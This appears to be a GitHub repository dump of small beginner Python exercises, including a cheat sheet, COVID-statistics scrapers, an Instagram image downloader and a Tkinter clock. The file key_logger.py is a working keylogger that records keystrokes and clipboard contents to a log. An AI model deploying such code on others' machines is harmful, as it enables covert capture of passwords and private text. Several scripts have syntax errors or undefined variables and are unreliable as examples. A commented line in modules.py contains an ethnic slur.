├── .gitattributes ├── .idea ├── .gitignore ├── .name ├── inspectionProfiles │ └── profiles_settings.xml ├── misc.xml ├── modules.xml ├── python_projects_for_beginners.iml └── vcs.xml ├── README.md ├── __pycache__ └── covid19.cpython-38.pyc ├── address_book_pyqt5 ├── __pycache__ │ ├── main.cpython-38.pyc │ └── views.cpython-38.pyc ├── contacts_app.py ├── main.py └── views.py ├── article_scrapping.py ├── calendar_view.py ├── cheat_shets.py ├── clock.py ├── contacts_app.py ├── covid19.py ├── covid_info.py ├── covid_uz_info.py ├── face_recognition.py ├── guess_number.py ├── insta_downloader.py ├── insta_info.py ├── iterators.py ├── key_logger.py ├── modules.py ├── most_common_words.py ├── names.txt ├── return_range_two_days.py ├── telegram_bot.py ├── tetris_game.py └── text_editor_tkinter.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/.name: -------------------------------------------------------------------------------- 1 | cheat_shets.py -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/python_projects_for_beginners.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 12 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # python_projects_for_beginners 2 | Pythonni o'rganayotganlar uchun kichik kichik dasturlar kodlari.. 3 | -------------------------------------------------------------------------------- /__pycache__/covid19.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rashidov21/python_projects_for_beginners/965953e6332e2d0e32c1382b875ec88b1bd8a6ec/__pycache__/covid19.cpython-38.pyc -------------------------------------------------------------------------------- /address_book_pyqt5/__pycache__/main.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rashidov21/python_projects_for_beginners/965953e6332e2d0e32c1382b875ec88b1bd8a6ec/address_book_pyqt5/__pycache__/main.cpython-38.pyc -------------------------------------------------------------------------------- /address_book_pyqt5/__pycache__/views.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rashidov21/python_projects_for_beginners/965953e6332e2d0e32c1382b875ec88b1bd8a6ec/address_book_pyqt5/__pycache__/views.cpython-38.pyc -------------------------------------------------------------------------------- /address_book_pyqt5/contacts_app.py: -------------------------------------------------------------------------------- 1 | # from main import main 2 | 3 | # if __name__ == '__main__': 4 | # main() 5 | int data types 6 | str 7 | float 8 | bool 9 | bytes 10 | bytearray 11 | 12 | list data structure 13 | tuple 14 | dict 15 | set 16 | frozenset 17 | 18 | -------------------------------------------------------------------------------- /address_book_pyqt5/main.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # address_book/main.py 3 | 4 | import sys 5 | 6 | from PyQt5.QtWidgets import QApplication 7 | import views 8 | 9 | def main(): 10 | """RP Contacts main function.""" 11 | # Create the application 12 | app = QApplication(sys.argv) 13 | # Create the main window 14 | win = views.Window() 15 | win.show() 16 | # Run the event loop 17 | sys.exit(app.exec()) 18 | -------------------------------------------------------------------------------- /address_book_pyqt5/views.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """This module provides views to manage the contacts table.""" 4 | 5 | from PyQt5.QtWidgets import ( 6 | QHBoxLayout, 7 | QMainWindow, 8 | QWidget, 9 | ) 10 | 11 | class Window(QMainWindow): 12 | """Main Window.""" 13 | def __init__(self, parent=None): 14 | """Initializer.""" 15 | super().__init__(parent) 16 | self.setWindowTitle("Robocode Contacts") 17 | self.resize(550, 250) 18 | self.centralWidget = QWidget() 19 | self.setCentralWidget(self.centralWidget) 20 | self.layout = QHBoxLayout() 21 | self.centralWidget.setLayout(self.layout) -------------------------------------------------------------------------------- /article_scrapping.py: -------------------------------------------------------------------------------- 1 | from newspaper import Article 2 | 3 | #A new article from TOI 4 | url = "http:// timesofindia.indiatimes.com/world/china/chinese-expert-warns-of-troops-entering-kashmir/articleshow/59516912.cms" 5 | 6 | #For different language newspaper refer above table 7 | toi_article = Article(url, language="en") # en for English 8 | 9 | #To download the article 10 | toi_article.download() 11 | 12 | #To parse the article 13 | toi_article.parse() 14 | 15 | #To perform natural language processing ie..nlp 16 | toi_article.nlp() 17 | 18 | #To extract title 19 | print("Article's Title:") 20 | print(toi_article.title) 21 | print("n") 22 | 23 | #To extract text 24 | print("Article's Text:") 25 | print(toi_article.text) 26 | print("n") 27 | 28 | #To extract summary 29 | print("Article's Summary:") 30 | print(toi_article.summary) 31 | print("n") 32 | 33 | #To extract keywords 34 | print("Article's Keywords:") 35 | print(toi_article.keywords) 36 | -------------------------------------------------------------------------------- /calendar_view.py: -------------------------------------------------------------------------------- 1 | #-*-coding:utf-8-*- 2 | import calendar 3 | c = calendar.HTMLCalendar(0) 4 | yy = 2021 5 | mm = 4 6 | print(calendar.month(yy,mm)) 7 | print(c.formatyear(2021)) -------------------------------------------------------------------------------- /cheat_shets.py: -------------------------------------------------------------------------------- 1 | # Variable lower_snake 2 | first_name = 'Mike' 3 | 4 | # Class and module CamelCase 5 | class InvoiceDetail: 6 | pass 7 | 8 | # Constant 9 | MAX_USER = 100 # All uppercase 10 | 11 | # Indentation : 4 spaces 12 | if num > 9: 13 | print('Small number') 14 | 15 | name = 'Mike' # string 16 | age = 42 # int 17 | price = 199.99 # float 18 | is_active = True # boolean 19 | colors = ['red', 'green', 'blue'] # list 20 | products = { 'name': 'iPad Pro', 'price': 199.99 } # dict 21 | MAX_USER = 100 # Constant 22 | 23 | 24 | # Python is a strong type language 25 | number = 50 + "50" # TypeError 26 | 27 | # Convert to string 28 | number = 50 + int("50") # 100 29 | 30 | # Convert to string 31 | my_text = str(199.99) # "199.99" 32 | 33 | # Convert to number 34 | my_number = int('21.99') # 21 35 | my_number = float('21.99') # 21.99 36 | 37 | # Get type 38 | type(my_text) # 39 | type(my_number) # 40 | 41 | # Check if number 0 to 9 42 | isdigit('8') # True 43 | 44 | # Check type 45 | isinstance(my_number, int) # True 46 | 47 | 48 | name = 'Mike' 49 | # or 50 | name = "Mike" 51 | # or 52 | message = """This is multiline 53 | string that is easier to 54 | read and assign""" 55 | 56 | # escape characters \n will do a line break 57 | message = "Hello \nWorld" 58 | 59 | # raw string (ignore escape characters) 60 | message = r"https:\\example.com\index.html" 61 | 62 | # Convert to lower case 63 | name.lower() # mike 64 | 65 | # Convert to upper case 66 | name.upper() # MIKE 67 | 68 | # Convert first char to Capital letter 69 | name.capitalize() # Mike 70 | 71 | # Convert first char of all words to Capital letter 72 | name = 'mike taylor' 73 | name.title() # Mike Taylor 74 | 75 | # Chain methods 76 | name = 'MIKE' 77 | name.lower().capitalize() # Mike 78 | 79 | name = 'Mike' 80 | 81 | # Start with ? 82 | name.startswith('M') # true 83 | 84 | # End with ? 85 | name.endswith('ke') # true 86 | 87 | # String length 88 | len(name) # 4 89 | 90 | # String concatenation 91 | full_name = first_name + ' ' + last_name 92 | 93 | # String format 94 | full_name = f"{first_name} {last_name}" 95 | 96 | # Remove leading and trailing characters (like space or \n) 97 | text = ' this is a text with white space ' 98 | text.strip() # 'this is a test with white space' 99 | 100 | name = 'Mike' 101 | # Get string first character 102 | name[0] # M 103 | 104 | # Get string last character 105 | name[-1] # e 106 | 107 | # Get partial string 108 | name[1:3] # ik 109 | 110 | # Replace 111 | name.replace('M', 'P') # Pike 112 | 113 | # Find (return pos or -1 if not found) 114 | name.find('k') # 2 115 | 116 | # List to string 117 | colors = ['red', 'green', 'blue'] 118 | ', '.join(colors) # 'red, green, blue' 119 | 120 | 121 | # Print to console 122 | print('Hello World') 123 | 124 | # Print multiple string 125 | print('Hello', 'World') # Hello World 126 | 127 | # Multiple print 128 | print(10 * '-') # ---------- 129 | 130 | # Variable pretty printer (for debug) 131 | from pprint import pprint 132 | products = { 133 | "name":"No name" 134 | } 135 | pprint(products) # will output var with formatting 136 | 137 | # Get keyboard input 138 | name = input('What is your name? ') 139 | 140 | # Random (between 0 and 1) 141 | from random import random 142 | print(random()) # 0.26230234411558273 143 | 144 | # Random beween x and y 145 | from random import randint 146 | print(randint(3, 9)) # 5 147 | 148 | # Rounding 149 | number = 4.5 150 | print(round(number)) # 5 151 | 152 | number = 4.5163 153 | print(round(number, 2)) # 4.52 154 | 155 | # Path 156 | import os 157 | current_file_path = __file__ 158 | folder_name = os.path.dirname(current_file_path) 159 | new_path = os.path.join(folder_name, 'new folder') 160 | 161 | # Round number 162 | solution = round(12.9582, 2) # 12.96 163 | 164 | 165 | if x == 4: 166 | print('x is 4') 167 | elif x != 5 and x < 11: 168 | print('x is between 6 and 10') 169 | else: 170 | print('x is 5 or greater than 10') 171 | 172 | #In or not in 173 | colors = ['red', 'green', 'blue', 'yellow'] 174 | if 'blue' in colors: 175 | if 'white' not in colors: 176 | 177 | # Ternary 178 | print('y = 10') if y == 10 else print('y != 10') 179 | 180 | # ShortHand Ternary 181 | is_valid = 'Valid' 182 | msg = is_valid or "Not valid" # 'Valid' 183 | 184 | # Falsy 185 | False, None, 0, empty string "", empty list [], (), {} 186 | 187 | # Truthy 188 | True, not zero and not empty value 189 | 190 | 191 | # iterating over a sequence (list, string, etc.) 192 | for item in items: 193 | print(item) 194 | 195 | # With index 196 | for index, item in enumerate(items): 197 | print(index, item) 198 | 199 | # Range 200 | for i in range(10): #0..9 201 | for x in range(5): 202 | print(x) 203 | 204 | for i in range(5, 10): #5..9 205 | print(i) 206 | 207 | # While loop 208 | while x > 10: 209 | print(x) 210 | # exit loop 211 | if x == 5: 212 | break 213 | # Jump to next while 214 | if x == 3: 215 | continue 216 | 217 | x += 1 218 | 219 | # For loop dic 220 | for key, value in my_dict.items(): # ("name","Abdullo") 221 | print(key, value) 222 | 223 | # List comprehension: 224 | # values = [(expression) for (value) in (collection)] 225 | items = [1,2,3,4,5] 226 | items2 = [value*2 for value in "abcde"] 227 | 228 | # List comprehension filtering 229 | # values = [expression for value in collection if condition] 230 | even_squares = [x * x for x in range(10) if x % 2 == 0] 231 | 232 | 233 | # Create a list 234 | fruits = ['orange', 'apple', 'melon'] 235 | 236 | # Append to List 237 | fruits.append('banana') 238 | 239 | # List length 240 | nb_items = len(fruits) 241 | 242 | # Remove from list 243 | del fruits[1] #remove apple 244 | 245 | # List access 246 | fruits[0] # first item 247 | fruits[-1] # last item 248 | 249 | # Slice my_list[start:finish:step] ([::-1] reverse list) 250 | fruits = fruits[1:3] 251 | fruits[:3] # first 3 252 | fruits[2:] # last 2 253 | copy_fruits = fruits[:] # copy 254 | 255 | # List length 256 | nb_entry = len(fruits) 257 | 258 | #Create list from string 259 | colors = 'red, green, blue'.split(', ') 260 | 261 | # Array concact 262 | color1 = ['red', 'blue'] 263 | color2 = ['green', 'yellow'] 264 | color3 = color1 + color2 265 | 266 | # Concat by unpacking 267 | color3 = [*color1, *color2] 268 | 269 | # Multiple assignment 270 | name, price = ['iPhone', 599] 271 | 272 | #Create a Tuple (kind of read only list) 273 | colors = ('red', 'green', 'blue') 274 | 275 | # Sort 276 | colors.sort() # ['blue', 'green', 'red'] 277 | colors.sort(reverse=True) # ['red', 'green', 'blue'] 278 | colors.sort(key=lambda color: len(color)) # ['red', 'blue', 'green'] 279 | 280 | 281 | # Create a empty dict 282 | product = {} 283 | 284 | #Create a dict with key/value 285 | product = {'id': 100, 'apple': 'iPadPro'} 286 | 287 | # Access dict value by key 288 | print(product['name']) # KeyError 289 | 290 | # Access dict 291 | product.get('name') # if key not exist return None 292 | product.get('name', 'default value') # if key not exist return default value 293 | 294 | # Adding a new key/value 295 | product['description'] = "Modern mobile device" 296 | 297 | # Get dict keys 298 | product.keys() # ['id', 'name', 'description'] 299 | 300 | # Get dic values 301 | product.values() # ['100', 'iPadPro', 'Modern mobile device'] 302 | 303 | # Create a list of dict 304 | products = [ 305 | {'id': 100, 'name': 'iPadPro'}, 306 | {'id': 200, 'name': 'iPhone 12'}, 307 | {'id': 300, 'name': 'Charger'}, 308 | ] 309 | 310 | # Access list of dict 311 | print(products[2]['name']) # Charger 312 | 313 | # Search list dict 314 | items_match = [product for product in products if product['id'] == 300] 315 | # [{'id': 300, 'name': 'Charger'}] 316 | 317 | # Sum list dict 318 | total = sum([product['price'] for product in products]) 319 | 320 | 321 | # Create a function 322 | def say_hello(): 323 | print('Hello World') 324 | 325 | # Function with argument (with default value) 326 | def say_hello(name = 'no name'): 327 | print(f"Hello {name}") 328 | 329 | # Function with argument (with optional value) 330 | def say_hello(name = None): 331 | if name: 332 | print(f"Hello {name}") 333 | else: 334 | print('Hello World') 335 | 336 | # Call a function 337 | say_hello('Mike') # Hello Mike 338 | 339 | # Call using keyword argument 340 | say_hello(name = 'Mike') 341 | 342 | # Function returning a value 343 | def add(num1, num2): 344 | return num1 + num2 345 | 346 | num = add(10, 20) # 30 347 | 348 | # Arbitrary numbers of arguments *args 349 | def say_hello(*names): 350 | for name in names: 351 | print(f"Hello {name}") 352 | 353 | # Arbitrary numbers of keywords arguments **kwargs 354 | def say_hello(**kwargs): 355 | print(kwargs['name']) 356 | print(kwargs['age']) 357 | 358 | say_hello(name = 'Mike', age = 45) 359 | 360 | # Lambda function 361 | x = lambda num : num + 10 362 | print(x(20)) # 30 363 | 364 | 365 | 366 | from datetime import datetime, timedelta 367 | 368 | # Return the current date and time. 369 | datetime.now() 370 | 371 | # Create a date time object 372 | date = datetime(2020,12,31) # Dec 31 2020 373 | 374 | # Add to date/time (weeks, days, hours, minutes, seconds) 375 | new_year = date + timedelta(days=1) # Jan 1 2021 376 | 377 | # Format a date to string 378 | new_year.strftime('%Y/%m/%d %H %M %S') # 2021/01/01 00 00 00 379 | new_year.strftime('%A, %b %d') # Friday, Jan 01 380 | 381 | # Extract from date 382 | year = new_year.year # 2021 383 | month = new_year.month # 01 384 | 385 | 386 | 387 | # Reading a file and storing its lines 388 | filename = 'demo.txt' 389 | with open(filename) as file: 390 | lines = file.readlines() 391 | 392 | for line in lines: 393 | print(line) 394 | 395 | # Writing to a file 396 | filename = 'settings.txt' 397 | with open(filename, 'w') as file: 398 | file.write("MAX_USER = 100") 399 | 400 | # File exist? 401 | from os import path 402 | path.exists('templates/index.html') # True/False 403 | 404 | # CSV 405 | import csv 406 | csv_file = 'export.csv' 407 | csv_columns = products[0].keys() # ['id', 'name'] 408 | with open(csv_file, 'w') as csvfile: 409 | writer = csv.DictWriter(csvfile, fieldnames=csv_columns) 410 | writer.writeheader() 411 | for item in products: 412 | writer.writerow(item) 413 | 414 | 415 | 416 | age_string = input('Your age? ') 417 | 418 | try: 419 | age = int(age_string) 420 | except ValueError: 421 | print("Please enter a numeric value") 422 | else: 423 | print("Your age is saved!") 424 | finally: 425 | print("Finally block..") 426 | 427 | 428 | 429 | # Create a class 430 | class Product: 431 | pass 432 | 433 | # Class attribute 434 | class Product: 435 | nb_products = 0 436 | 437 | print(Product.nb_products) # 0 438 | 439 | # Create new object instance 440 | product_1 = Product() 441 | 442 | # Object instance attributes 443 | class Product: 444 | def __init__(self, name, price): 445 | self.name = name 446 | self.price = price 447 | 448 | # Create instance with attributes 449 | product_1 = Product('iPadPro', 699.99) 450 | product_2 = Product('iPhone12', 799.99) 451 | print(product_1.name) # iPadPro 452 | 453 | # instance method 454 | class Product: 455 | def display_price(self): 456 | return f"Price : {self.price}" 457 | 458 | print(product_1.display_price()) 459 | 460 | # class method 461 | class Product: 462 | # ... 463 | @classmethod 464 | def create_default(cls): 465 | # create a instance 466 | return cls('Product', 0) # default name, default price 467 | 468 | product_3 = Product.create_default() 469 | 470 | # static method 471 | class Product: 472 | # ... 473 | @staticmethod 474 | def trunc_text(word, nb_char): 475 | return word[:nb_char] + '...' 476 | 477 | product_3 = Product.trunc_text('This is a blog', 5) # This i... 478 | 479 | # Python Inheritance 480 | class WebProduct(Product): 481 | def __init__(self, name, price, web_code): 482 | super().__init__(name, price) 483 | self.web_code = web_code 484 | 485 | # Private scope (naming convention only) 486 | def __init__(self, price): 487 | self.__price = price 488 | # p = Product("Iphone11", 699.99) 489 | # p.__price 490 | # Getter and setter 491 | class Product: 492 | def __init__(self): 493 | self.__price = 0 494 | 495 | @property 496 | def price(self): 497 | return self.__price 498 | 499 | @price.setter 500 | def price(self, value): 501 | self.__price = value 502 | 503 | # Mixins 504 | class Mixin1(object): 505 | def test(self): 506 | print "Mixin1" 507 | 508 | class Mixin2(object): 509 | def test(self): 510 | print "Mixin2" 511 | 512 | class MyClass(Mixin2, Mixin1, BaseClass): 513 | pass 514 | 515 | obj = MyClass() 516 | obj.test() # Mixin2 517 | -------------------------------------------------------------------------------- /clock.py: -------------------------------------------------------------------------------- 1 | from tkinter import * 2 | from tkinter.ttk import * 3 | from time import strftime 4 | 5 | # creating tkinter window 6 | root = Tk() 7 | root.title('Clock') 8 | 9 | def time(): 10 | string = strftime('%H:%M:%S %p') 11 | lbl.config(text = string) 12 | lbl.after(1000, time) 13 | 14 | lbl = Label(root, font = ('calibri', 40, 'bold'), 15 | background = 'tomato', 16 | foreground = 'white') 17 | lbl.pack(anchor = 'center') 18 | time() 19 | 20 | mainloop() 21 | -------------------------------------------------------------------------------- /contacts_app.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """This module provides views to manage the contacts table.""" 4 | 5 | from PyQt5.QtWidgets import ( 6 | QHBoxLayout, 7 | QMainWindow, 8 | QWidget, 9 | ) 10 | 11 | class Window(QMainWindow): 12 | """Main Window.""" 13 | def __init__(self, parent=None): 14 | """Initializer.""" 15 | super().__init__(parent) 16 | self.setWindowTitle("RP Contacts") 17 | self.resize(550, 250) 18 | self.centralWidget = QWidget() 19 | self.setCentralWidget(self.centralWidget) 20 | self.layout = QHBoxLayout() 21 | self.centralWidget.setLayout(self.layout) -------------------------------------------------------------------------------- /covid19.py: -------------------------------------------------------------------------------- 1 | # importing modules 2 | # pip install bs4 3 | import requests 4 | from bs4 import BeautifulSoup as bs 5 | 6 | # URL 7 | url = 'https://coronavirus.uz/ru' 8 | 9 | # get URL html 10 | page = requests.get(url) 11 | soup = bs(page.text, 'html.parser') 12 | 13 | 14 | 15 | def get_data(): 16 | data = [] 17 | confirmed = soup.findAll('p', class_='prg-count') 18 | for c in confirmed: 19 | done = c.get('data-count') 20 | data.append(done) 21 | return data 22 | 23 | 24 | print(f"Всего подтверждено = {data[0]}") 25 | print(f"Выздоровевшие = {data[1]}") 26 | print(f"Умершие = {data[2]}") 27 | print(f"На лечении = {data[3]}") 28 | -------------------------------------------------------------------------------- /covid_info.py: -------------------------------------------------------------------------------- 1 | # pip install covid 2 | from covid import Covid 3 | 4 | covid = Covid(source="john_hopkins") 5 | 6 | # to get data from worldometers.info 7 | covid = Covid(source="worldometers") 8 | 9 | # get all data 10 | data = covid.get_data() 11 | my_country = {} 12 | for x in data: 13 | if x['country'] == 'Uzbekistan': 14 | my_country.update(x) 15 | for i in my_country.items(): 16 | print(i) -------------------------------------------------------------------------------- /covid_uz_info.py: -------------------------------------------------------------------------------- 1 | from covid import Covid 2 | 3 | covid = Covid(source="john_hopkins") 4 | 5 | # to get data from worldometers.info 6 | covid = Covid(source="worldometers") 7 | 8 | 9 | def get_stat(): 10 | data = covid.get_data() 11 | my_country = {} 12 | for x in data: 13 | if x['country'] == 'Uzbekistan': 14 | my_country.update(x) 15 | 16 | # try: 17 | country = my_country['country'] 18 | conf = my_country['confirmed'] 19 | new_cases = my_country['new_cases'] 20 | deaths = my_country['deaths'] 21 | recovered = my_country['recovered'] 22 | active = my_country['active'] 23 | new_deaths = my_country['new_deaths'] 24 | ls = [country,conf,new_cases,deaths, recovered,active, new_deaths] 25 | print(ls) 26 | # except Exception as error: 27 | # print('#'*25, error) 28 | return True 29 | get_stat() -------------------------------------------------------------------------------- /face_recognition.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # from progress_bar import InitBar 3 | # import time 4 | # pbar = InitBar() 5 | # pbar(10) # update % to 10% 6 | # time.sleep(1) 7 | # pbar(20) # update % to 20% 8 | # time.sleep(2) 9 | # pbar(15) # simulate a Microsoft progress bar 10 | # time.sleep(3) 11 | # pbar(100) # done 12 | 13 | # del pbar # write the newline 14 | 15 | # from progress_bar import InitBarForInfile 16 | 17 | # pbar = InitBarForInfile("README.md") 18 | # instream = open("README.md") 19 | 20 | # for line in iter(instream.readline, ''): 21 | # pbar(instream.tell()) 22 | 23 | # del pbar -------------------------------------------------------------------------------- /guess_number.py: -------------------------------------------------------------------------------- 1 | """ Number Guessing Game 2 | ---------------------------------------- 3 | """ 4 | import random 5 | attempts_list = [] 6 | def show_score(): 7 | if len(attempts_list) <= 0: 8 | print("There is currently no high score, it's yours for the taking!") 9 | else: 10 | print("The current high score is {} attempts".format(min(attempts_list))) 11 | def start_game(): 12 | random_number = int(random.randint(1, 10)) 13 | print("Hello traveler! Welcome to the game of guesses!") 14 | player_name = input("What is your name? ") 15 | wanna_play = input("Hi, {}, would you like to play the guessing game? (Enter Yes/No) ".format(player_name)) 16 | // Where the show_score function USED to be 17 | attempts = 0 18 | show_score() 19 | while wanna_play.lower() == "yes": 20 | try: 21 | guess = input("Pick a number between 1 and 10 ") 22 | if int(guess) < 1 or int(guess) > 10: 23 | raise ValueError("Please guess a number within the given range") 24 | if int(guess) == random_number: 25 | print("Nice! You got it!") 26 | attempts += 1 27 | attempts_list.append(attempts) 28 | print("It took you {} attempts".format(attempts)) 29 | play_again = input("Would you like to play again? (Enter Yes/No) ") 30 | attempts = 0 31 | show_score() 32 | random_number = int(random.randint(1, 10)) 33 | if play_again.lower() == "no": 34 | print("That's cool, have a good one!") 35 | break 36 | elif int(guess) > random_number: 37 | print("It's lower") 38 | attempts += 1 39 | elif int(guess) < random_number: 40 | print("It's higher") 41 | attempts += 1 42 | except ValueError as err: 43 | print("Oh no!, that is not a valid value. Try again...") 44 | print("({})".format(err)) 45 | else: 46 | print("That's cool, have a good one!") 47 | if __name__ == '__main__': 48 | start_game() -------------------------------------------------------------------------------- /insta_downloader.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup as bs 3 | import json 4 | import random 5 | import os.path 6 | 7 | insta_url='https://www.instagram.com/' 8 | inta_username= input('enter username of instagram : ') 9 | 10 | response = requests.get(f"{insta_url}/{inta_username}/") 11 | 12 | if response.ok: 13 | html=response.text 14 | 15 | bs_html=bs(html, features="lxml") 16 | bs_html=bs_html.text 17 | index=bs_html.find('_6q-tv') 18 | 19 | remaining_text=bs_html[index:] 20 | remaining_text_index=remaining_text.find('-nal3') 21 | string_url=remaining_text[:remaining_text_index].replace("\\u0026","&") 22 | 23 | print(string_url, "\n \n downloading..........") 24 | 25 | 26 | while True: 27 | filename='pic'+str(random.randint(1, 100000))+'.jpg' 28 | file_exists = os.path.isfile(filename) 29 | 30 | if not file_exists: 31 | with open(filename, 'wb+') as handle: 32 | response = requests.get(string_url, stream=True) 33 | if not response.ok: 34 | print(response) 35 | for block in response.iter_content(1024): 36 | if not block: 37 | break 38 | handle.write(block) 39 | else: 40 | continue 41 | break 42 | print("\n downloading completed ..............") 43 | -------------------------------------------------------------------------------- /insta_info.py: -------------------------------------------------------------------------------- 1 | from bs4 import BeautifulSoup, Tag 2 | import requests 3 | 4 | from collections import defaultdict 5 | 6 | def find_most_common(): 7 | page = requests.get("https://en.wikipedia.org/wiki/Apple_Inc.") 8 | soup = BeautifulSoup(page.text, "html.parser") 9 | print(soup.text) 10 | 11 | find_most_common() 12 | 13 | 14 | -------------------------------------------------------------------------------- /iterators.py: -------------------------------------------------------------------------------- 1 | #-*- coding:utf-8-*- 2 | import itertools 3 | import requests 4 | import pprint 5 | 6 | url = 'https://randomuser.me/api/?results=1' 7 | users = requests.get(url).json() 8 | 9 | pprint.pprint(users) 10 | # for i in itertools.count(start=20, step=3): iterator with start and step 11 | # if i > 100: break 12 | # print(i) 13 | # n = 1 14 | # for i in itertools.cycle("abc"): iterator with cycle (loop) 15 | # if n > 10: break 16 | # print(i) 17 | # n += 1 18 | 19 | # letters = list(itertools.repeat("letter:",10)) 20 | # print(letters) 21 | # l = list(itertools.combinations("abcd", 2)) # comb items , mixed place (index) 1 param iterator 2 param count 22 | # l1 = list(itertools.combinations_with_replacement('abcd', 2))# comb items with orginal places 23 | # print(l1) 24 | 25 | # import time 26 | # pacient = {} 27 | # print("Klinikaga hush kelibsiz !") 28 | # time.sleep(1) 29 | # print('\a') 30 | # print("Iltimos ma'lumotlaringizni kiriting.. ") 31 | # time.sleep(2) 32 | # print('\a') 33 | # 34 | # while 1: 35 | # name = input('Ismingiz ?\n>>') 36 | # surname = input('Familyangiz ?\n>>') 37 | # if name and surname: 38 | # pacient['fullname'] = "{0} - {1}".format(name,surname) 39 | # age = int(input('Necha kilosiz ?\n>>')) 40 | # height = int(input('Boyingiz ?\n>>')) 41 | # if age and height: 42 | # pacient['age'] = age 43 | # pacient['height'] = height 44 | # disease = input('Kasalliklaringiz \n >>') 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | # count = 0 62 | # ages = 0 63 | # middle = 0 64 | # ls = [] 65 | # while True: 66 | # guess = input('Write your age \n >>>') 67 | # if guess == 'stop': 68 | # break 69 | # guess = int(guess) 70 | # if guess < 1: 71 | # print('Write your age again ...') 72 | # else: 73 | # count += 1 74 | # ages += guess 75 | # middle = ages / count 76 | # ls.append(guess) 77 | # print(f'Middle age : {math.ceil(middle)}') 78 | # print(f'All ages : {ls}') 79 | 80 | # boys = {} 81 | # girls = {} 82 | 83 | # while True: 84 | # name = input('Name :') 85 | # surname = input('Surname :') 86 | # middle_ware_dict = {} 87 | # middle_ware_dict[name] = surname 88 | # if surname.endswith('va'): 89 | # girls.update(middle_ware_dict) 90 | # else: 91 | # boys.update(middle_ware_dict) 92 | # print(f'Boys {boys}, Girls {girls}') 93 | 94 | 95 | # from faker import Faker 96 | # fake = Faker() 97 | # names = [] 98 | 99 | # for i in range(20): 100 | # names.append(fake.name()) 101 | # count = len(names) 102 | # print(names) 103 | # middle = count // 2 104 | # print(middle) 105 | # right = names[:middle] 106 | 107 | # left = names[-middle:] 108 | # print(right) 109 | # left.reverse() 110 | # print(left) 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | # import cv2 119 | # import numpy as np 120 | # from pyzbar.pyzbar import decode 121 | 122 | # def decoder(image): 123 | # gray_img = cv2.cvtColor(image,0) 124 | # barcode = decode(gray_img) 125 | 126 | # for obj in barcode: 127 | # points = obj.polygon 128 | # (x,y,w,h) = obj.rect 129 | # pts = np.array(points, np.int32) 130 | # pts = pts.reshape((-1, 1, 2)) 131 | # cv2.polylines(image, [pts], True, (0, 255, 0), 3) 132 | 133 | # barcodeData = obj.data.decode("utf-8") 134 | # barcodeType = obj.type 135 | # string = "Data " + str(barcodeData) + " | Type " + str(barcodeType) 136 | 137 | # cv2.putText(frame, string, (x,y), cv2.FONT_HERSHEY_SIMPLEX,0.8,(255,0,0), 2) 138 | # print("Barcode: "+barcodeData +" | Type: "+barcodeType) 139 | 140 | # cap = cv2.VideoCapture(0) 141 | # while True: 142 | # ret, frame = cap.read() 143 | # decoder(frame) 144 | # cv2.imshow('Image', frame) 145 | # code = cv2.waitKey(10) 146 | # if code == ord('q'): 147 | # break -------------------------------------------------------------------------------- /key_logger.py: -------------------------------------------------------------------------------- 1 | # pynput==1.7.1 2 | # pyperclip==1.8.1 3 | import pyperclip 4 | from datetime import datetime 5 | from pynput.keyboard import Listener 6 | KEYSTROKE_LOG_FILE = './logs/keystroke.log' 7 | 8 | def log_key_press(key): 9 | # Process the key press, get contents of the clipboard 10 | key = str(key).replace("", "") 11 | line_to_write = None 12 | now = str(datetime.now()) 13 | if key == 'Key.cmd_r': 14 | line_to_write = f"{now}: Clipboard - {pyperclip.paste()}" 15 | else: 16 | line_to_write = f"{now}: Key Press - {key}" 17 | # Write the output to the file 18 | with open(KEYSTROKE_LOG_FILE, 'a') as f: 19 | f.write(f"{line_to_write}\n") 20 | 21 | def start(): 22 | # 1. Figure out how to track key presses 23 | with Listener(on_press=log_key_press) as l: 24 | l.join() 25 | if __name__ == '__main__': 26 | start() 27 | -------------------------------------------------------------------------------- /modules.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import math 3 | 4 | # print(math.factorial(10)) 5 | 6 | 7 | # def factorial_recursive(n): 8 | # if n == 1: 9 | # return n 10 | # else: 11 | # r = n*factorial_recursive(n-1) 12 | # return r 13 | 14 | # print(factorial_recursive(5)) 15 | 16 | # class Parent: 17 | # def __init__(self, color): 18 | # self.color = color 19 | # 20 | # def print_color(self): 21 | # print(self.color) 22 | # 23 | # class Child(Parent): 24 | # def __init__(self, color, name): 25 | # super().__init__(color) 26 | # 27 | # 28 | # 29 | # x = Child('Negr') 30 | # 31 | # x.print_color() 32 | 33 | m = input() 34 | n = m.split(" ") 35 | n.reverse() 36 | print("".join(n)) 37 | 38 | -------------------------------------------------------------------------------- /most_common_words.py: -------------------------------------------------------------------------------- 1 | import collections 2 | 3 | text = 'lorem ipsum dolor ipsum amet sit amet amet' 4 | words = 